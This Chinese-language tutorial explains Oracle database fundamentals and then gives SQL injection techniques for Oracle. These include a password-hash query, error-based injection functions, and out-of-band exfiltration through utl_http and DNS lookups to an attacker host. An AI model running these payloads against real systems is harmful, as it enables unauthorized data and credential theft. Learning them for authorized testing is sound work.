一、Oracle基本知识
组成部分
Oracle数据库系统由数据库文件(保存在磁盘上的文件)、数据库实例(管理数据库文件的一组进程和内存结构)。
应用程序连接到数据库时,实际上是连接到一个Oracle实例,由Oracle实例中的进程和内存来为应用程序提供服务。
注意:在SQL server或MySQL中,当连接到数据库中可以同时管理多个数据库,这是因为实例就是数据库服务器引擎,,因此一个实例可以创建多个数据库。而Oracle中,实例由一系列的进程和服务组成,与数据库可以是一对一的关系,也就是一个实例可以管理一个数据库;也可以是一对多的关系,多个实例可以管理一个数据库,其中多个实例组成一个数据库的架构叫做集群。
因此。一个实例不能管理多个数据库,这是Oracle与其他数据库的一个明显区别。
数据字典
数据字典是Oracle数据库的重要组成部分,它由一系列拥有的数据库元数据(metadata)信息的数据字典表和用户可以读取的数据字典视图组成,存放Oracle数据所用的有关信息,主要包括:系统的空间信息、数据库中所有模式对象的信息(表、视图、索引等)、Oracle用户的名字、用户访问或使用的审计信息、用户的权限信息、列的约束信息和缺省值等。
数据字典可以看作是一组表和视图结构,它们存放在SYSTEM表空间中。
表空间
表空间是Oracle数据库中最大的逻辑结构,可以将表空间看作是数据库对象的容器。由一个或多个数据文件的集合,所有的数据对象都被逻辑地放在指定的表空间中。一个数据库通常包括SYSTEM、SYSAUX和TEMP三个默认表空间,一个或多个临时表空间。
注释
Oracle的注释有单行注释 -- 和多行注释 /**/。不像MySQL还支持#。
dual虚拟表
Oracle规定,每次查询时后面必须跟表名称,而dual是oracle的一个虚拟表,这张表只有单行单列一条记录,可以利用这个虚拟表设置或调用一些内置函数等。
Oracle是强类型的数据库 ,所以在UNION联合查询时候,用NULL兼容数据类型,而不能使用1,2,3数字代替。
rownum
oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。
获取表中第一行记录:
如果想找到从第二行记录以后的记录,当使用rownum>2或rownum=2是查不出记录的,原因是由于rownum是一个总是从1开始的伪列,Oracle 认为rownum> n(n>1的自然数)这种条件依旧不成立,所以查不到记录。
在MySQL中,||表示or的逻辑运算,但在Oracle中,这是字符串连接符。
'a'||'b'='ab'
常用函数
Oracle中函数和MySQL数据库中类似,常用的有:
字符串函数:ASCII(str)、CHR(i)、CONCAT(s1,s2)、LENGTH(s1)、SUBSTR(s1,i,[j])
数学函数:ABS(n)、POWER(n1,n2)、SIN()等等
日期函数:SYSDATE()
转换类函数:TO_CHAR(s1):将s1转换为字符串
流程控制
在MySQL中,流程控制有IF和IFNULL,而PL/SQL(Oracle)中,有多个流程控制符:
系统表
Oracle中内置了大量的系统表(有点类似MySQL中的information_schema数据库),根据不同的权限可读取不同的系统表。可通过读取这些系统表获取我们想要的数据(用户信息、表、字段、数据库信息等)。
DBA、ALL、USER、V_$、GV_$、SESSION、INDEX开头的绝大部分都是视图。
DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。
ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。
USER_TABLES意为某一用户所拥有的所有的关系表。
当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。
DBA_TABLES >= ALL_TABLES >= USER_TABLES
需要注意的是在ORACLE数据库中大小写是敏感的,而此三表中数据默认都是大写的,所以在进行查询的时候注意小写的数据可能会造成数据无法查到。
dba_开头
dba_users 数据库用户信息
dba_segments 表段信息
dba_extents 数据区信息
dba_objects 数据库对象信息
dba_tablespaces 数据库表空间信息
dba_data_files 数据文件设置信息
dba_temp_files 临时数据文件信息
dba_rollback_segs 回滚段信息
dba_ts_quotas 用户表空间配额信息
dba_free_space数据库空闲空间信息
dba_profiles 数据库用户资源限制信息
dba_sys_privs 用户的系统权限信息
dba_tab_privs用户具有的对象权限信息
dba_col_privs用户具有的列对象权限信息
dba_role_privs用户具有的角色信息
dba_audit_trail审计跟踪记录信息
dba_stmt_audit_opts审计设置信息
dba_audit_object 对象审计结果信息
dba_audit_session会话审计结果信息
dba_indexes用户模式的索引信息
user_开头
user_objects 用户对象信息
user_source 数据库用户的所有资源对象信息
user_segments 用户的表段信息
user_tables 用户的表对象信息
user_tab_columns 用户的表列信息
user_constraints 用户的对象约束信息
user_sys_privs 当前用户的系统权限信息
user_tab_privs 当前用户的对象权限信息
user_col_privs 当前用户的表列权限信息
user_role_privs 当前用户的角色权限信息
user_indexes 用户的索引信息
user_ind_columns用户的索引对应的表列信息
user_cons_columns 用户的约束对应的表列信息
user_clusters 用户的所有簇信息
user_clu_columns 用户的簇所包含的内容信息
user_cluster_hash_expressions 散列簇的信息
v$开头
v$database 数据库信息
v$datafile 数据文件信息
v$controlfile控制文件信息
v$logfile 重做日志信息
v$instance 数据库实例信息
v$log 日志组信息
v$loghist 日志历史信息
v$sga 数据库SGA信息
v$parameter 初始化参数信息
v$process 数据库服务器进程信息
v$bgprocess 数据库后台进程信息
v$controlfile_record_section 控制文件记载的各部分信息
v$thread 线程信息
v$datafile_header 数据文件头所记载的信息
v$archived_log归档日志信息
v$archive_dest 归档日志的设置信息
v$logmnr_contents 归档日志分析的DML DDL结果信息
v$logmnr_dictionary 日志分析的字典文件信息
v$logmnr_logs 日志分析的日志列表信息
v$tablespace 表空间信息
v$tempfile 临时文件信息
v$filestat 数据文件的I/O统计信息
v$undostat Undo数据信息
v$rollname 在线回滚段信息
v$session 会话信息
v$transaction 事务信息
v$rollstat 回滚段统计信息
v$pwfile_users 特权用户信息
v$sqlarea 当前查询过的sql语句访问过的资源及相关的信息
v$sql 与v$sqlarea基本相同的相关信息
v$sysstat 数据库系统状态信息
all_开头
all_users 数据库所有用户的信息
all_objects 数据库所有的对象的信息
all_def_audit_opts 所有默认的审计设置信息
all_tables 所有的表对象信息
all_indexes所有的数据库对象索引的信息
session_开头
session_roles 会话的角色信息
session_privs 会话的权限信息
index_开头
index_stats 索引的设置和存储信息
常用系统表查询
数据库信息
select NAME,PLATFORM_NAME from v$database select HOST_NAME,VERSION from v$instance SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
表信息
select TABLE_NAME,TABLESPACE_NAME from user_tables
字段信息
select TABLE_NAME,COLUMN_NAME from user_tab_columns WHERE TABLE_NAME LIKE 'TEST';
当前用户
SELECT user FROM dual
列密码哈希
SELECT name,spare4 FROM sys.user$
时间盲注
获取主机名
SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;
查询大量的数据
对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。其他数据库也适用。
select count(*) from all_objects
当然,还有其他的骚操作。
报错注入
utl_inaddr.get_host_address()
根据主机名获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。
select utl_inaddr.get_host_address((select TABLE_NAME from user_tables WHERE rownum=1)) from dual
utl_inaddr.get_host_name()
select utl_inaddr.get_host_name((select TABLE_NAME from user_tables WHERE rownum=1)) from dual
ctxsys.drithsx.sn()
select ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables WHERE rownum=1)) from dual
ordsys.ord_dicom.getmappingxpath()
select ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) from dual;
dbms_utility.sqlid_to_sqlhash()
select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
还有几个其他的报错函数,就不一一介绍了。
带外通信
Oracle可以发送HTTP请求和DNS请求,可以将查询的结果附带到请求中,然后通过查看WEB日志和DNS记录读取查询结果,这种方式针对盲注注入能有效的提高效率。
HTTP请求
utl_http.request(),发送HTTP请求:
select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;
DNS请求
utl_inaddr.get_host_address(),查询NDS请求
select utl_inaddr.get_host_address((select user from dual)||'.xxx.com') from dual